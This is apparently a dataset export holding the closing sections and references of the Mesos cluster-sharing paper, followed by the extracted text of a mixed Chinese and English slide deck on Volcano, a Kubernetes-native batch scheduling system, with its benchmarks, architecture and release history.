evaluation of Linux Containers [9] shows\\npromising results. In particular, using Containers to iso-\\nlate CPU usage between a MediaWiki web server (con-\\nsisting of multiple Apache processes running PHP) and a\\n“hog” application (consisting of 256 processes spinning\\nin infinite loops) shows on average only a 30% increase\\nin request latency for Apache versus a 550% increase\\nwhen running without Containers. We refer the reader to\\n[29] for a fuller evaluation of OS isolation mechanisms.\\n7 Related Work\\nHPC and Grid Schedulers. The high performance\\ncomputing (HPC) community has long been managing\\nclusters [33, 41]. However, their target environment typ-\\nically consists of specialized hardware, such as Infini-\\nband and SANs, where jobs do not need to be scheduled\\nlocal to their data. Furthermore, each job is tightly cou-\\npled, often using barriers or message passing. Thus, each\\njob is monolithic, rather than composed of fine-grained\\ntasks, and does not change its resource demands during\\nits lifetime. For these reasons, HPC schedulers use cen-\\ntralized scheduling, and require users to declare the re-\\nquired resources at job submission time. Jobs are then\\ngiven coarse-grained allocations of the cluster. Unlike\\nthe Mesos approach, this does not allow jobs to locally\\naccess data distributed across the cluster. Furthermore,\\njobs cannot grow and shrink dynamically. In contrast,\\nMesos supports fine-grained sharing at the level of tasks\\nand allows frameworks to control their placement.\\nGrid computing has mostly focused on the problem\\nof making diverse virtual organizations share geograph-\\nically distributed and separately administered resources\\nin a secure and interoperable way. Mesos could well be\\nused within a virtual organization inside a larger grid.\\nPublic and Private Clouds. Virtual machine clouds\\nsuch as Amazon EC2 [1] and Eucalyptus [31] share\\ncommon goals with Mesos, such as isolating applica-\\ntions while providing a low-level abstraction (VMs).\\nHowever, they differ from Mesos in several important\\nways. First, their relatively coarse grained VM allocation\\nmodel leads to less efficient resource utilization and data\\nsharing than in Mesos. Second, these systems generally\\ndo not let applications specify placement needs beyondthe size of VM they require. In contrast, Mesos allows\\nframeworks to be highly selective about task placement.\\nQuincy. Quincy [25] is a fair scheduler for Dryad\\nthat uses a centralized scheduling algorithm for Dryad’s\\nDAG-based programming model. In contrast, Mesos\\nprovides the lower-level abstraction of resource offers to\\nsupport multiple cluster computing frameworks.\\nCondor. The Condor cluster manager uses the Class-\\nAds language [32] to match nodes to jobs. Using a re-\\nsource specification language is not as flexible for frame-\\nworks as resource offers, since not all requirements may\\nbe expressible. Also, porting existing frameworks, which\\nhave their own schedulers, to Condor would be more dif-\\nficult than porting them to Mesos, where existing sched-\\nulers fit naturally into the two-level scheduling model.\\nNext-Generation Hadoop. Recently, Yahoo! an-\\nnounced a redesign for Hadoop that uses a two-level\\nscheduling model, where per-application masters request\\nresources from a central manager [14]. The design aims\\nto support non-MapReduce applications as well. While\\ndetails about the scheduling model in this system are cur-\\nrently unavailable, we believe that the new application\\nmasters could naturally run as Mesos frameworks.\\n8 Conclusion and Future Work\\nWe have presented Mesos, a thin management layer that\\nallows diverse cluster computing frameworks to effi-\\nciently share resources. Mesos is built around two de-\\nsign elements: a fine-grained sharing model at the level\\nof tasks, and a distributed scheduling mechanism called\\nresource offers that delegates scheduling decisions to the\\nframeworks. Together, these elements let Mesos achieve\\nhigh utilization, respond quickly to workload changes,\\nand cater to diverse frameworks while remaining scalable\\nand robust. We have shown that existing frameworks\\ncan effectively share resources using Mesos, that Mesos\\nenables the development of specialized frameworks pro-\\nviding major performance gains, such as Spark, and that\\nMesos’s simple design allows the system to be fault tol-\\nerant and to scale to 50,000 nodes.\\nIn future work, we plan to further analyze the re-\\nsource offer model and determine whether any exten-\\nsions can improve its efficiency while retaining its flex-\\nibility. In particular, it may be possible to have frame-\\nworks give richer hints about offers they would like to\\nreceive. Nonetheless, we believe that below any hint\\nsystem, frameworks should still have the ability to re-\\nject offers and to choose which tasks to launch on each\\nresource, so that their evolution is not constrained by the\\nhint language provided by the system.\\nWe are also currently using Mesos to manage re-\\nsources on a 40-node cluster in our lab and in a test de-\\nployment at Twitter, and plan to report on lessons from\\n13these deployments in future work.\\n9 Acknowledgements\\nWe thank our industry colleagues at Google, Twitter,\\nFacebook, Yahoo! and Cloudera for their valuable feed-\\nback on Mesos. This research was supported by Califor-\\nnia MICRO, California Discovery, the Natural Sciences\\nand Engineering Research Council of Canada, a National\\nScience Foundation Graduate Research Fellowship,5the\\nSwedish Research Council, and the following Berkeley\\nRAD Lab sponsors: Google, Microsoft, Oracle, Ama-\\nzon, Cisco, Cloudera, eBay, Facebook, Fujitsu, HP, Intel,\\nNetApp, SAP, VMware, and Yahoo!.\\nReferences\\n[1] Amazon EC2. http://aws.amazon.com/ec2 .\\n[2] Apache Hadoop. http://hadoop.apache.org .\\n[3] Apache Hive. http://hadoop.apache.org/hive .\\n[4] Apache ZooKeeper. hadoop.apache.org/zookeeper .\\n[5] Hive – A Petabyte Scale Data Warehouse using Hadoop.\\nhttp://www.facebook.com/note.php?note_id=\\n89508453919 .\\n[6] Hive performance benchmarks. http:\\n//issues.apache.org/jira/browse/HIVE-396 .\\n[7] LibProcess Homepage. http:\\n//www.eecs.berkeley.edu/ ˜benh/libprocess .\\n[8] Linux 2.6.33 release notes.\\nhttp://kernelnewbies.org/Linux_2_6_33 .\\n[9] Linux containers (LXC) overview document.\\nhttp://lxc.sourceforge.net/lxc.html .\\n[10] Personal communication with Dhruba Borthakur from Facebook.\\n[11] Personal communication with Owen O’Malley and Arun C.\\nMurthy from the Yahoo! Hadoop team.\\n[12] RightScale blog. blog.rightscale.com/2010/04/01/\\nbenchmarking-load-balancers-in-the-cloud .\\n[13] Solaris Resource Management.\\nhttp://docs.sun.com/app/docs/doc/817-1592 .\\n[14] The Next Generation of Apache Hadoop MapReduce.\\nhttp://developer.yahoo.com/blogs/hadoop/\\nposts/2011/02/mapreduce-nextgen .\\n[15] E. Anderson, Z. Bai, J. Dongarra, A. Greenbaum, A. McKenney,\\nJ. Du Croz, S. Hammerling, J. Demmel, C. Bischof, and\\nD. Sorensen. LAPACK: a portable linear algebra library for\\nhigh-performance computers. In Supercomputing ’90 , 1990.\\n[16] A. Bouteiller, F. Cappello, T. Herault, G. Krawezik,\\nP. Lemarinier, and F. Magniette. Mpich-v2: a fault tolerant MPI\\nfor volatile nodes based on pessimistic sender based message\\nlogging. In Supercomputing ’03 , 2003.\\n[17] T. Condie, N. Conway, P. Alvaro, and J. M. Hellerstein.\\nMapReduce online. In NSDI ’10 , May 2010.\\n[18] J. Dean and S. Ghemawat. MapReduce: Simplified data\\nprocessing on large clusters. In OSDI , pages 137–150, 2004.\\n[19] J. Ekanayake, H. Li, B. Zhang, T. Gunarathne, S.-H. Bae, J. Qiu,\\nand G. Fox. Twister: a runtime for iterative mapreduce. In Proc.\\nHPDC ’10 , 2010.\\n[20] D. R. Engler, M. F. Kaashoek, and J. O’Toole. Exokernel: An\\noperating system architecture for application-level resource\\nmanagement. In SOSP , pages 251–266, 1995.\\n[21] A. Ghodsi, M. Zaharia, B. Hindman, A. Konwinski, S. Shenker,\\nand I. Stoica. Dominant resource fairness: fair allocation of\\nmultiple resource types. In NSDI , 2011.\\n5Any opinions, findings, conclusions, or recommendations ex-\\npressed in this publication are those of the authors and do not nec-\\nessarily reflect the views of the NSF.[22] T. Hastie, R. Tibshirani, and J. Friedman. The Elements of\\nStatistical Learning: Data Mining, Inference, and Prediction .\\nSpringer Publishing Company, New York, NY , 2009.\\n[23] B. Hindman, A. Konwinski, M. Zaharia, A. Ghodsi, A. D.\\nJoseph, R. H. Katz, S. Shenker, and I. Stoica. Mesos: A platform\\nfor fine-grained resource sharing in the data center. Technical\\nReport UCB/EECS-2010-87, UC Berkeley, May 2010.\\n[24] M. Isard, M. Budiu, Y . Yu, A. Birrell, and D. Fetterly. Dryad:\\ndistributed data-parallel programs from sequential building\\nblocks. In EuroSys 07 , 2007.\\n[25] M. Isard, V . Prabhakaran, J. Currey, U. Wieder, K. Talwar, and\\nA. Goldberg. Quincy: Fair scheduling for distributed computing\\nclusters. In SOSP , November 2009.\\n[26] S. Y . Ko, I. Hoque, B. Cho, and I. Gupta. On availability of\\nintermediate data in cloud computations. In HOTOS , May 2009.\\n[27] D. Logothetis, C. Olston, B. Reed, K. C. Webb, and K. Yocum.\\nStateful bulk processing for incremental analytics. In Proc. ACM\\nsymposium on Cloud computing , SoCC ’10, 2010.\\n[28] G. Malewicz, M. H. Austern, A. J. Bik, J. C. Dehnert, I. Horn,\\nN. Leiser, and G. Czajkowski. Pregel: a system for large-scale\\ngraph processing. In SIGMOD , pages 135–146, 2010.\\n[29] J. N. Matthews, W. Hu, M. Hapuarachchi, T. Deshane,\\nD. Dimatos, G. Hamilton, M. McCabe, and J. Owens.\\nQuantifying the performance isolation properties of\\nvirtualization systems. In ExpCS ’07 , 2007.\\n[30] D. G. Murray, M. Schwarzkopf, C. Smowton, S. Smith,\\nA. Madhavapeddy, and S. Hand. Ciel: a universal execution\\nengine for distributed data-flow computing. In NSDI , 2011.\\n[31] D. Nurmi, R. Wolski, C. Grzegorczyk, G. Obertelli, S. Soman,\\nL. Youseff, and D. Zagorodnov. The Eucalyptus open-source\\ncloud-computing system. In CCA ’08 , 2008.\\n[32] R. Raman, M. Livny, and M. Solomon. Matchmaking: An\\nextensible framework for distributed resource management.\\nCluster Computing , 2:129–138, April 1999.\\n[33] G. Staples. TORQUE resource manager. In Proc.\\nSupercomputing ’06 , 2006.\\n[34] I. Stoica, H. Zhang, and T. S. E. Ng. A hierarchical fair service\\ncurve algorithm for link-sharing, real-time and priority services.\\nInSIGCOMM ’97 , pages 249–262, 1997.\\n[35] J. Stone. Tachyon ray tracing system.\\nhttp://jedi.ks.uiuc.edu/ ˜johns/raytracer .\\n[36] C. A. Waldspurger and W. E. Weihl. Lottery scheduling: flexible\\nproportional-share resource management. In OSDI , 1994.\\n[37] Y . Yu, P. K. Gunda, and M. Isard. Distributed aggregation for\\ndata-parallel computing: interfaces and implementations. In\\nSOSP ’09 , pages 247–260, 2009.\\n[38] M. Zaharia, D. Borthakur, J. Sen Sarma, K. Elmeleegy,\\nS. Shenker, and I. Stoica. Delay scheduling: A simple technique\\nfor achieving locality and fairness in cluster scheduling. In\\nEuroSys 10 , 2010.\\n[39] M. Zaharia, M. Chowdhury, M. J. Franklin, S. Shenker, and\\nI. Stoica. Spark: cluster computing with working sets. In Proc.\\nHotCloud ’10 , 2010.\\n[40] M. Zaharia, A. Konwinski, A. D. Joseph, R. Katz, and I. Stoica.\\nImproving MapReduce performance in heterogeneous\\nenvironments. In Proc. OSDI ’08 , 2008.\\n[41] S. Zhou. LSF: Load sharing in large-scale heterogeneous\\ndistributed systems. In Workshop on Cluster Computing , 1992.\\n[42] Y . Zhou, D. Wilkinson, R. Schreiber, and R. Pan. Large-scale\\nparallel collaborative filtering for the Netflix prize. In AAIM ,\\npages 337–348. Springer-Verlag, 2008.\\n14\"\n }\n]"}}},{"rowIdx":39480,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"name_blue.pdf\",\n \"project_name\": \"Kubernetes\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"kubernetes"}],"string":"[\n {\n \"data\": \"kubernetes\"\n }\n]"}}},{"rowIdx":39481,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Volcano - A Kubernetes Native Batch System.pdf\",\n \"project_name\": \"Volcano\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Klaus MaVolcano: A Kubernetes Native\nBatch System\n2018 ~ 2020github.com/ volcano -sh/volcano\n@k82cnBI, Data lake, AI Platform, Customized System ……\nSQL\nHive\nSpark \nSQL\n……Streaming\nSpark -\nStreaming\nFlink\n……Batch\nSpark\nFlink Batch\nMR\n……WKflow\nOozie\nArgo\nPipeline\n……\nHDFS, Hbase , NoSQL ……AI\nTesorFlow\nPytorch\nCaffee\n……电商 金融 视频\nService\nDevOps\nMesher\n…………\n 超算\nHPC\nWRF\nMPI\nCromwell\n……资讯\n迁移•业务复杂性 驱动统一资源管理\n随着业务复杂性 的增加，单一的框架、技\n术很难支撑业务的发展\n基于不同技术栈的资源池增加了 资源成本 ，\n管理、运维成本\n不同技术栈增加了 技术成本 ，e.g. YARN\n和K8s经验无法互通\n•云原生 促进统一资源管理落地\n云原生 (CNCF) 提供了 活跃的社区和丰富的\n生态系统 ，支持大数据、 AI等多种负载；\n促使用户向云原生技术迁移\nKubernetes 提供了标准的生态、扩展接\n口，无缝接入 网络、存储、调度 等能力\n各硬件厂商提供对 Kubernetes 的支持，\n例如 GPU，ARM, IB 等\nGPUx86 鲲鹏 昇腾 GPU多领域框架 + 统一资源管理Kubernetes + 多领域框架\n2018 2010 2013•Slurm\n199*•LSF\n•PBS\n•SGE\n2005•Symphony •SGE/UGE\n2005 ~ 2008•Globus •HPC for AI\n2015•Tensorflow\n•Caffe2\n•Pytorch\n2017•kubeflow•Hadoop 1.0\n•HDFS\n2006 2008•Hive\n2012•YARN\n•Impala\n2014•Spark\n•Storm\n•Flink\n2010•Hbase\n•NOSQL\n2013•Tez\n2017•Spark on k8sDecouple framework \n& resource manager\nK8s, \nframework, \ncontainerisc/vhpc\n•Kubeflow\n•kubecon\n1.New framework and ecosystem is possible since Spark\n2.YARN, Mesos , Kubernetes are known as resource manager\n3.HPC application would like to leverage container (ISC/ VHPC )\n4.New bigdata framework, e.g. Spark, start to support kubernetes\n5.Most AI application are built on Kubernetes nativelyWhat’s new?Volcano: A K8S Native Batch System\n•挑战 1: 面向高性能负载的调度策略 , e.g. fair -share, gang -scheduling\n•挑战 2: 支持多种作业生命周期管理 , e.g. multiple pod template, error handling\n•挑战 3: 支持多种异构硬件 , e.g. GPU , FPGA\n•挑战 4: 面向高性能负载的性能优化， e.g. scalability, throughput, network, container \nruntimeKubernetesA CNCF Project\nCRD + Controllers + Scheduler\nkube -apiserverETCDkube -controller -\nmanagerkube -scheduler\nkubelet\nkubectlJobvc-controllers\nQueuevc-scheduler\n12\n3 54\nvsubOverall Architecture\n•相比默认调度器， AI训练\n作业性能提升 31%\n•测试结果为 3 个作业的总\n执行时间 ; 每个作业包含\n2ps + 4workers •相比默认调度器， AI训练\n作业性能提升 30%\n•Gang -scheduling 同时解\n决了多作业死锁的情况\n•相比默认调度器，\nSpark 作业性能提\n升51%\n•测试结果为 104 个\nTP-DCS 查询语句\nusedNode\nusedNode\n……\nAI 大数据 HPC\n……\n派发作业1\n2\n3支持多种类型作业混\n合部署\n支持多队列 用于多租\n户资源共享， 资源规\n划；并分时复用 资源\n支持多种高级调度\n策略 ，有效提升整\n集群资源利用率\n4•支持资源实时监控，\n用于高精度资源调\n度，例如 热点，网\n络带宽\n•容器引擎，网络性\n能优化 , e.g. 免加载\nTensorflow on Volcano (Gang)\nhttp://status.openlabtesting.org/builds?project=theopenlab%2Fvolcano\n•Case 1: 1 job with 2ps + 4workers\n•Case 2: 2 jobs with 2ps + 4workers\n•Case 3: 5 jobs with 2ps + 4workers\n•没有足够的资源同时运行两个作业 ; \n如果没有 gang -scheduling ，其中的\n一个作业会出现 忙等 !\n•当作业数涨到 5后，很大概率出现 死\n锁；一般只能完成 2个作业Tensorflow on Volcano (IOAware)\n•3个作业的执行时间总和 ; 每个作\n业带2ps + 4workers\n•默认调度器执行时间波动较大\n•执行时间的提高量依据数据在作\n业中的比例而定\n•减少 Pod Affinity/Anti -Affinity ，\n提高调度器的整体性能Spark on Volcano\n•Spark -sql-perf (TP-DCS, master)\n•104 queries concurrently\n•(8cpu, 64G, 1600SSD) * 4nodes\n•Kubernetes 1.13\n•Driver: 1cpu,4G; Executor: \n(1cpu,4G)*5•Volcano (min -res): 3.3cpu, 12G\n•Kubernetes : 1node for drivers•如果没有固定的 driver 节点， 最多同时运行 26 条查询语句\n•由于Volcano 提供了作业级的资源预留，总体性能提高了\n~30%MPI on Volcano\nmpirun\nworker_1\nworker_3worker_2\n作业级 ssh免密认证，\n无需更新 keyKubernetes$ kubectl –f mpi_example.yaml\n资源请求少， e.g. \n0.5 CPU\n资源请求较多，还有\n异构资源， e.g. GPU容器网络或主机网\n络，支持 IB/RoCE1.组调度\n2.作业生命周期\n3.资源成本 , e.g. \n竞价GPU Sharing\nAPI server\n用户提交任务\nVolcano\nScheduler\npodVolcano\nDevice PluginNodeKubelet\n1\n2\nScheduled\n3\nSetAllocated算力优化：\n•GPU 硬件加速， TensorCore\n•GPU 共享\n•昇腾改造\n调度算法优化：\n•Job/Task 模型，提供 AI类Job统一批\n量调度\n•多任务排队，支持多租户 /部门共享集\n群\n•单Job内多任务集群中最优化亲和性调\n度、Gang Scheduling 等\n•主流的 PS-Worker 、Ring AllReduce\n等分布式训练模型\n流程优化\n•容器镜像\n•CICD 流程\n•日志监控一万节点，百万容器； 2000 Pods/s\n①编排：\n•Etcd 分库分表 ，e.g. Event 放到单独库，\nwal/snapshot 单独挂盘\n•通过一致性 哈希分散处理，实现 controller -\nmanager 多活\n•Kube -apiserver 基于工作负载的弹性扩容\n②调度：\n•通过 EquivalenceCache ，算法剪枝 等技术\n提升单调度器的吞吐性能\n•通过共享资源视图实现 调度器多活 ，提升调度\n速率\n③网络：\n•通过trunkport 提升 单节点容器密度及单集群\nENI容量\n•通过 Warm Pool 预申请网口，提升网口发放\n速度\n•基于eBPF /XDP 支持 大规模、高度变化的云\n原生应用 网络， e.g. Service, network policy \n④引擎：\n•containerd 并发 启动优化\n•支持shimv2 ，提升单节点容器密度\n•镜像下载加速 Lazy loading\n基础服务\nECS/VPC/OBS/…\nSWR 镜像仓库\n(cache mirror)\n集群管控面\nMulti -Schedulers\nKube APIServers\nVolcanoControllers\n 1\netcd1 集群\n …\nPods\netcd2 集群\nNodes Other OBJ\nNodes Controllers\nPods Controllers\n默认Scheduler\nKind Controllers\n…\n3\n2\n1W节点集群\n已有节点 扩容节点P2P\nAgent….\n云网络Pod\n扩容节点P2P\nAgentPodP2P\nAgentPod\n4Cromwell with Volcano\nhttps://cromwell.readthedocs.io/en/stable/backends/Volcano /WDL\nKubernetesJob\nJob\nJob……..1.Cromwell 社区原生支持 Volcano\n2. 企业版已经上线 华为云 GCS\n3. 通过 cromwell 支持作业依赖\n4.Volcano 提供面向作业、数据依赖的调度Volcano CLI\n•vsub\n提交作业\n•vcancel\n取消作业\n•vsuspend\n挂起作业\n•vresume\n重启作业\n•vjobs\n查询作业状态及列表\n•vqueues\n查询队列状态及列表\n•vadmin\n管理员命令行， e.g. 创建队列常用命令行：\n官方支持 :\n•Go\n•Python\n•Java\n•CSharp\n•Javascript\n•Haskell\n社区支持：\n•Node.js\n•Rust\n•Scala\n•……开发库 (SDK) ：KubeSim\nhttps:// github.com/volcano -sh/kubesim\n简介：\n•集群进行性能测试及调度的描述工具\n•不受资源限制，模拟大规模 K8S集群\n•完整的 K8S API 调用，不会真正创建 pod\n•已经支持产品侧大规模专项及调度专项的模拟工作\n总体结构 ：\n•Worker cluster ：承载 kubemark 虚拟节点，\nhollow pod\n•Master cluster ：管理 kubemark 虚拟节点，\nhollow node\n•Hollow pod = hollow kubelet + hollow proxyAdopters & Contributors\nhttps:// github.com/volcano -sh/volcano/blob/master/docs/community/adopters.md\nCommunity\n•CNCF Sandbox: https:// landscape.cncf.io/selected=volcano\n•1360+ GitHub Stars\n•~100 Contributors from Huawei, AWS , JD.com, OpenAI , Baidu , Tencent , etc.\n•12 formal releases\n•5 maintainers across 3 independent companies (Huawei: 3, IBM: 1, Tencent 1)\n•14 public adopters (private not included)\n•CII best practice: passing\n•License: Apache 2 License\nReleases\nVolcano: A Kubernetes Native Batch System\nv1.0:\n•GPU Sharing\n•Preempt and reclaim \nupgrade to Beta\n•Job dynamic scale up \nand down\n•Integrate with flink\noperator\n•DAG job based on Argov0.1:\n•IndexedJob\n•Multiple Pod template\n•Error handling of \nPod/Job\n•Queue/Job command \nline\n•Delay Pod Creation\n•Job pluginsv0.2:\n•Job Priority\n•Queue Capacity\n•Fair-share of NS cross \nQueue\n•Binpack algorithm\n•Multiple event in job \nlifecycle policyv0.3:\n•Add maxRetry in job \ncontroller\n•Bug fix of scheduler, e.g. \nResource, callback\n•Dynamic load scheduler \nconfiguration\n•Support network policy\n•Command line \nenhancementsv0.4:\n•Upgrade to go \nmode\n•sign certificate by \nopenssl\n•Remove \ndeprecated API \nversions\n•Bug fix\n2019.5 2019.9 2020.1 2020.4 2020.7Thanks!\nFurther reading:\n●https://groups.google.com/forum/#!forum/volcano -sh\n●https://slack.cncf.io /#volcano\n●https//github.com/volcano -sh/volcano\nJoin our community and give us feedback!Performance Index\n名字 英文缩写 描述 计算公式 衡量标准 备注\n往返速率 Roundtrip测试为完成作业，在平台上消\n耗的时间作业完成时间 –作业提交时\n间越少越好作业为空，例如 busybox ；并以客\n户端 收到反馈的时间为准\n吞吐率 Throughput测试系统单位时间内可以接收\n的任务单位时间内接收的任务 越多越好需要保证系统长期稳定的情况下进\n行测试\n作业平均执行\n时间AET测试作业在系统中的平均执行\n时间AVG( 作业完成时间 –作业开\n始执行时间 )越少越好测试时需要指定测试场景，例如\nTerasort , HPL 等\n作业平均等待\n时间AWT测试作业在系统中的平均等待\n时间AVG( 作业提交时间 –作业开\n始执行时间 )越短越好 根据队列权重进行调整\n资源使用率 Utilization测试集群中资源的实际使用情\n况实际使用资源 /集群总资源 越接近 1越好\n资源分配率 Allocation 测试集群中资源的分配情况 分配资源 /集群总资源 越接近 1越好\n用户资源分配\n率U-Allocation 测试各个用户的资源分配情况 DIV( 用户分配到的资源 )用户之间越接近越\n好包括单个调度周期和某一时间段的\n资源分配情况，根据权重调整\n资源成本 Cost完成指定作业集所需要的总成\n本SUM( 作业执行时间 * 资源成\n本)越少越好 资源成本会有不同，比如 竞价实例\n用户资源成本 U-Cost每个用户完成指定作业所需要\n的成本DIV( 每个用户的作业执行时\n间* 资源成本 )•越少越好\n•用户之间越接近\n越好根据用户权重调整Da (Klaus) Ma\n●Tech Lead of Huawei Container Infra\n●Founder of Volcano/ kube -batch\n●Tech Lead of CNCF SIG-Runtime\n●Tech Lead of CNCF Research User Group\n●Emeritus Leads of Kubernetes Machine \nLearning Working Group\n●Emeritus Leads of Kubernetes SIG Scheduling\n●Kubernetes Maintainer\n●Technical Program Committee of \nISC/VHPC'20/21\n@k82cn\n"}],"string":"[\n {\n \"data\": \"Klaus MaVolcano: A Kubernetes Native\\nBatch System\\n2018 ~ 2020github.com/ volcano -sh/volcano\\n@k82cnBI, Data lake, AI Platform, Customized System ……\\nSQL\\nHive\\nSpark \\nSQL\\n……Streaming\\nSpark -\\nStreaming\\nFlink\\n……Batch\\nSpark\\nFlink Batch\\nMR\\n……WKflow\\nOozie\\nArgo\\nPipeline\\n……\\nHDFS, Hbase , NoSQL ……AI\\nTesorFlow\\nPytorch\\nCaffee\\n……电商 金融 视频\\nService\\nDevOps\\nMesher\\n…………\\n 超算\\nHPC\\nWRF\\nMPI\\nCromwell\\n……资讯\\n迁移•业务复杂性 驱动统一资源管理\\n随着业务复杂性 的增加，单一的框架、技\\n术很难支撑业务的发展\\n基于不同技术栈的资源池增加了 资源成本 ，\\n管理、运维成本\\n不同技术栈增加了 技术成本 ，e.g. YARN\\n和K8s经验无法互通\\n•云原生 促进统一资源管理落地\\n云原生 (CNCF) 提供了 活跃的社区和丰富的\\n生态系统 ，支持大数据、 AI等多种负载；\\n促使用户向云原生技术迁移\\nKubernetes 提供了标准的生态、扩展接\\n口，无缝接入 网络、存储、调度 等能力\\n各硬件厂商提供对 Kubernetes 的支持，\\n例如 GPU，ARM, IB 等\\nGPUx86 鲲鹏 昇腾 GPU多领域框架 + 统一资源管理Kubernetes + 多领域框架\\n2018 2010 2013•Slurm\\n199*•LSF\\n•PBS\\n•SGE\\n2005•Symphony •SGE/UGE\\n2005 ~ 2008•Globus •HPC for AI\\n2015•Tensorflow\\n•Caffe2\\n•Pytorch\\n2017•kubeflow•Hadoop 1.0\\n•HDFS\\n2006 2008•Hive\\n2012•YARN\\n•Impala\\n2014•Spark\\n•Storm\\n•Flink\\n2010•Hbase\\n•NOSQL\\n2013•Tez\\n2017•Spark on k8sDecouple framework \\n& resource manager\\nK8s, \\nframework, \\ncontainerisc/vhpc\\n•Kubeflow\\n•kubecon\\n1.New framework and ecosystem is possible since Spark\\n2.YARN, Mesos , Kubernetes are known as resource manager\\n3.HPC application would like to leverage container (ISC/ VHPC )\\n4.New bigdata framework, e.g. Spark, start to support kubernetes\\n5.Most AI application are built on Kubernetes nativelyWhat’s new?Volcano: A K8S Native Batch System\\n•挑战 1: 面向高性能负载的调度策略 , e.g. fair -share, gang -scheduling\\n•挑战 2: 支持多种作业生命周期管理 , e.g. multiple pod template, error handling\\n•挑战 3: 支持多种异构硬件 , e.g. GPU , FPGA\\n•挑战 4: 面向高性能负载的性能优化， e.g. scalability, throughput, network, container \\nruntimeKubernetesA CNCF Project\\nCRD + Controllers + Scheduler\\nkube -apiserverETCDkube -controller -\\nmanagerkube -scheduler\\nkubelet\\nkubectlJobvc-controllers\\nQueuevc-scheduler\\n12\\n3 54\\nvsubOverall Architecture\\n•相比默认调度器， AI训练\\n作业性能提升 31%\\n•测试结果为 3 个作业的总\\n执行时间 ; 每个作业包含\\n2ps + 4workers •相比默认调度器， AI训练\\n作业性能提升 30%\\n•Gang -scheduling 同时解\\n决了多作业死锁的情况\\n•相比默认调度器，\\nSpark 作业性能提\\n升51%\\n•测试结果为 104 个\\nTP-DCS 查询语句\\nusedNode\\nusedNode\\n……\\nAI 大数据 HPC\\n……\\n派发作业1\\n2\\n3支持多种类型作业混\\n合部署\\n支持多队列 用于多租\\n户资源共享， 资源规\\n划；并分时复用 资源\\n支持多种高级调度\\n策略 ，有效提升整\\n集群资源利用率\\n4•支持资源实时监控，\\n用于高精度资源调\\n度，例如 热点，网\\n络带宽\\n•容器引擎，网络性\\n能优化 , e.g. 免加载\\nTensorflow on Volcano (Gang)\\nhttp://status.openlabtesting.org/builds?project=theopenlab%2Fvolcano\\n•Case 1: 1 job with 2ps + 4workers\\n•Case 2: 2 jobs with 2ps + 4workers\\n•Case 3: 5 jobs with 2ps + 4workers\\n•没有足够的资源同时运行两个作业 ; \\n如果没有 gang -scheduling ，其中的\\n一个作业会出现 忙等 !\\n•当作业数涨到 5后，很大概率出现 死\\n锁；一般只能完成 2个作业Tensorflow on Volcano (IOAware)\\n•3个作业的执行时间总和 ; 每个作\\n业带2ps + 4workers\\n•默认调度器执行时间波动较大\\n•执行时间的提高量依据数据在作\\n业中的比例而定\\n•减少 Pod Affinity/Anti -Affinity ，\\n提高调度器的整体性能Spark on Volcano\\n•Spark -sql-perf (TP-DCS, master)\\n•104 queries concurrently\\n•(8cpu, 64G, 1600SSD) * 4nodes\\n•Kubernetes 1.13\\n•Driver: 1cpu,4G; Executor: \\n(1cpu,4G)*5•Volcano (min -res): 3.3cpu, 12G\\n•Kubernetes : 1node for drivers•如果没有固定的 driver 节点， 最多同时运行 26 条查询语句\\n•由于Volcano 提供了作业级的资源预留，总体性能提高了\\n~30%MPI on Volcano\\nmpirun\\nworker_1\\nworker_3worker_2\\n作业级 ssh免密认证，\\n无需更新 keyKubernetes$ kubectl –f mpi_example.yaml\\n资源请求少， e.g. \\n0.5 CPU\\n资源请求较多，还有\\n异构资源， e.g. GPU容器网络或主机网\\n络，支持 IB/RoCE1.组调度\\n2.作业生命周期\\n3.资源成本 , e.g. \\n竞价GPU Sharing\\nAPI server\\n用户提交任务\\nVolcano\\nScheduler\\npodVolcano\\nDevice PluginNodeKubelet\\n1\\n2\\nScheduled\\n3\\nSetAllocated算力优化：\\n•GPU 硬件加速， TensorCore\\n•GPU 共享\\n•昇腾改造\\n调度算法优化：\\n•Job/Task 模型，提供 AI类Job统一批\\n量调度\\n•多任务排队，支持多租户 /部门共享集\\n群\\n•单Job内多任务集群中最优化亲和性调\\n度、Gang Scheduling 等\\n•主流的 PS-Worker 、Ring AllReduce\\n等分布式训练模型\\n流程优化\\n•容器镜像\\n•CICD 流程\\n•日志监控一万节点，百万容器； 2000 Pods/s\\n①编排：\\n•Etcd 分库分表 ，e.g. Event 放到单独库，\\nwal/snapshot 单独挂盘\\n•通过一致性 哈希分散处理，实现 controller -\\nmanager 多活\\n•Kube -apiserver 基于工作负载的弹性扩容\\n②调度：\\n•通过 EquivalenceCache ，算法剪枝 等技术\\n提升单调度器的吞吐性能\\n•通过共享资源视图实现 调度器多活 ，提升调度\\n速率\\n③网络：\\n•通过trunkport 提升 单节点容器密度及单集群\\nENI容量\\n•通过 Warm Pool 预申请网口，提升网口发放\\n速度\\n•基于eBPF /XDP 支持 大规模、高度变化的云\\n原生应用 网络， e.g. Service, network policy \\n④引擎：\\n•containerd 并发 启动优化\\n•支持shimv2 ，提升单节点容器密度\\n•镜像下载加速 Lazy loading\\n基础服务\\nECS/VPC/OBS/…\\nSWR 镜像仓库\\n(cache mirror)\\n集群管控面\\nMulti -Schedulers\\nKube APIServers\\nVolcanoControllers\\n 1\\netcd1 集群\\n …\\nPods\\netcd2 集群\\nNodes Other OBJ\\nNodes Controllers\\nPods Controllers\\n默认Scheduler\\nKind Controllers\\n…\\n3\\n2\\n1W节点集群\\n已有节点 扩容节点P2P\\nAgent….\\n云网络Pod\\n扩容节点P2P\\nAgentPodP2P\\nAgentPod\\n4Cromwell with Volcano\\nhttps://cromwell.readthedocs.io/en/stable/backends/Volcano /WDL\\nKubernetesJob\\nJob\\nJob……..1.Cromwell 社区原生支持 Volcano\\n2. 企业版已经上线 华为云 GCS\\n3. 通过 cromwell 支持作业依赖\\n4.Volcano 提供面向作业、数据依赖的调度Volcano CLI\\n•vsub\\n提交作业\\n•vcancel\\n取消作业\\n•vsuspend\\n挂起作业\\n•vresume\\n重启作业\\n•vjobs\\n查询作业状态及列表\\n•vqueues\\n查询队列状态及列表\\n•vadmin\\n管理员命令行， e.g. 